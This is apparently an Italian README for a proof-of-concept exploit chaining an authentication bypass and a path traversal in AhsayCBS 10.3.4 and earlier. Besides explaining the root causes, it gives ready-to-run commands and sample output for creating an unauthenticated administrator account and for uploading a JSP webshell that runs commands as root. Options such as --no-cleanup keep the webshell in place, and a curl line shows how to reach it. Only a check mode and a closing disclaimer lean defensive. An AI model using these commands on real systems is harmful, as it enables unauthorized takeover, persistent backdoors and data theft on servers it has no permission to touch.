Un exploit proof of concept per CVE-2026-105133 e CVE-2026-105134 che interessano AhsayCBS
CVE-2026-105133 + CVE-2026-105134 — Esecuzione remota di codice non autenticata in AhsayCBS ≤10.3.4
Un'analisi tecnica che copre causa principale, sfruttamento e indicatori di compromissione è disponibile sul blog di ricerca sugli attacchi di Horizon3.ai:
Le versioni di AhsayCBS 10.3.4 e precedenti sono vulnerabili a esecuzione remota di codice non autenticata tramite due vulnerabilità concatenate di bypass dell'autenticazione e path traversal nei moduli JSON API e replication receiver. Un attaccante può ottenere il pieno controllo amministrativo o RCE diretta senza credenziali.
Il metodo com.ahsay.obs.api.json.JSONApi.execute() salta la validazione delle credenziali checkSysPwd() quando il corpo della richiesta JSON contiene {"FromServlet":"Y"}. Ciò consente a qualsiasi attaccante non autenticato di invocare ogni azione della JSON API senza credenziali.
Impatto: Accesso non autenticato alla JSON API per operazioni sensibili.
L'endpoint di upload file del replication receiver (PUT /rps/obs7/rpsfile/upload) costruisce il percorso di scrittura dagli header UserHome e TopDir controllati dall'attaccante tramite getReplicatedPath() senza applicare la denylist dei percorsi com.ahsay.c. Un attaccante può attraversare la directory servita dal web di Tomcat (../../webapps/) per caricare file JSP eseguibili.
Utilizza il bypass dell'autenticazione per creare un nuovo account amministratore di sistema. Funziona su qualsiasi installazione di AhsayCBS, indipendentemente dalla licenza o dalla configurazione di replica.
python3 ahsay_rce_poc.py --url https://target.example.com
Output:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[*] Creating ADMIN account 'svc_abcdef' via AddSysUser (unauthenticated)...
[+] Created system user 'svc_abcdef' (Role=ADMIN)
[+] Confirmed: the account authenticates as a functional ADMIN
[+] Admin credentials
Console : https://target.example.com/cbs/
Username: svc_abcdef
Password: TK$#m9q@2pL!xR4vN
Role : ADMIN
[*] Cleaning up...
[+] Removed admin account 'svc_abcdef'
[+] Done.
Sfrutta il path traversal nel ricevitore di replication per caricare un webshell autenticata. Richiede che il target sia licenziato e configurato come ricevitore di replication. Ottiene RCE come account di servizio.
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
Output:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[+] Created replication receiver 'rqxmouq' (SystemHome=/opt/AhsayCBS/rpsrecv_ggsrer)
[+] Uploaded webshell -> /rps/status_vomejx.jsp (auth-gated)
[*] Webshell: https://target.example.com/rps/status_vomejx.jsp?auth=d9facce9a7e9535aab16270e36bf7527
[+] Remote code execution confirmed:
uid=0(root) gid=0(root) groups=0(root)
[*] Running: id
uid=0(root) gid=0(root) groups=0(root)
[*] Cleaning up...
[+] Removed webshell /rps/status_vomejx.jsp
[+] Removed receiver 'rqxmouq' (Id=2)
[+] Done.
pip install requests
Verifica se il target è vulnerabile senza apportare alcuna modifica:
python3 ahsay_rce_poc.py --url https://target.example.com --check
Crea un nuovo account amministrativo:
# Auto-generated credentials (default)
python3 ahsay_rce_poc.py --url https://target.example.com
# Custom username and password
python3 ahsay_rce_poc.py --url https://target.example.com \
--admin-user admin_user \
--admin-pass 'P@ssw0rd123'
# Custom role (default: ADMIN)
python3 ahsay_rce_poc.py --url https://target.example.com --role OPERATOR
Esegui comandi tramite un webshell temporaneo:
# Execute 'id' command
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
# Interactive webshell (use --no-cleanup to keep the shell)
python3 ahsay_rce_poc.py --url https://target.example.com --replication \
--no-cleanup \
--secret mysecret123 \
--shell-name cmd.jsp
# Then access via:
# curl 'https://target.example.com/rps/cmd.jsp?auth=mysecret123&cmd=whoami'
General:
-u, --url URL Target base URL (required)
-t, --timeout SECONDS HTTP timeout (default: 30)
-k, --insecure Ignore TLS cert errors (default: on)
--check Detect vulnerability without exploitation
--no-cleanup Leave artifacts in place for further access
Admin Takeover:
--admin-user USER Username to create (default: random)
--admin-pass PASS Password to set (default: random strong)
--role ROLE User role: ADMIN, OPERATOR, etc. (default: ADMIN)
Replication RCE:
--replication Use replication RCE mode (requires licensed receiver)
-c, --cmd COMMAND Command to execute
-r, --install-root PATH AhsayCBS install directory (default: /opt/AhsayCBS)
-w, --webapp NAME Web app to upload JSP into (default: rps)
--secret HEX Webshell auth secret (default: random)
--shell-name NAME Webshell filename (default: random)
"Questo software è stato creato puramente per scopi di ricerca accademica e per lo sviluppo di tecniche difensive efficaci, e non è inteso per essere utilizzato per attaccare sistemi se non esplicitamente autorizzato." I manutentori del progetto non si assumono alcuna responsabilità per usi impropri. Usalo in modo responsabile.